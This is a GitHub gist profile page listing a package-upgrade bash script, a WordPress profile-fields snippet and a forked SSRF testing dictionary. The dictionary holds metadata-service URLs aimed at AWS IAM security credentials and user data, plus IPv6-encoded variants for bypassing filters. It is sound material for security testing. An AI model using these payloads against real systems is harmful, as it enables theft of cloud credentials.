Skip to content

Instantly share code, notes, and snippets.

View sylwit's full-sized avatar

Sylvain Witmeyer sylwit

View GitHub Profile
#!/bin/bash
export DEBIAN_FRONTEND=noninteractive;
echo "[*] Starting Install... [*]"
echo "[*] Upgrade installed packages to latest [*]"
echo -e "\nRunning a package upgrade...\n"
apt-get -qq update && apt-get -qq dist-upgrade -y
apt full-upgrade -y
apt-get autoclean
echo "[*] Install stuff I use all the time [*]"
@sylwit
sylwit / cloud_metadata.txt
Created May 24, 2021 13:08 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
@sylwit
sylwit / functions.php
Last active August 29, 2015 13:57 — forked from Manoz/functions.php
<?php
// Add social networks fields to aithor profil and author info box
add_filter('user_contactmethods', 'manoz_profile_fields');
function manoz_profile_fields( $profile_fields ) {
$profile_fields['twitter'] = __( 'Twitter URL', 'textdomain' );
$profile_fields['facebook'] = __( 'Facebook URL', 'textdomain' );
$profile_fields['gplus'] = __( 'Google+ URL', 'textdomain' );
$profile_fields['linkedin'] = __( 'LinkedIn URL', 'textdomain' );
$profile_fields['dribbble'] = __( 'Dribbble URL', 'textdomain' );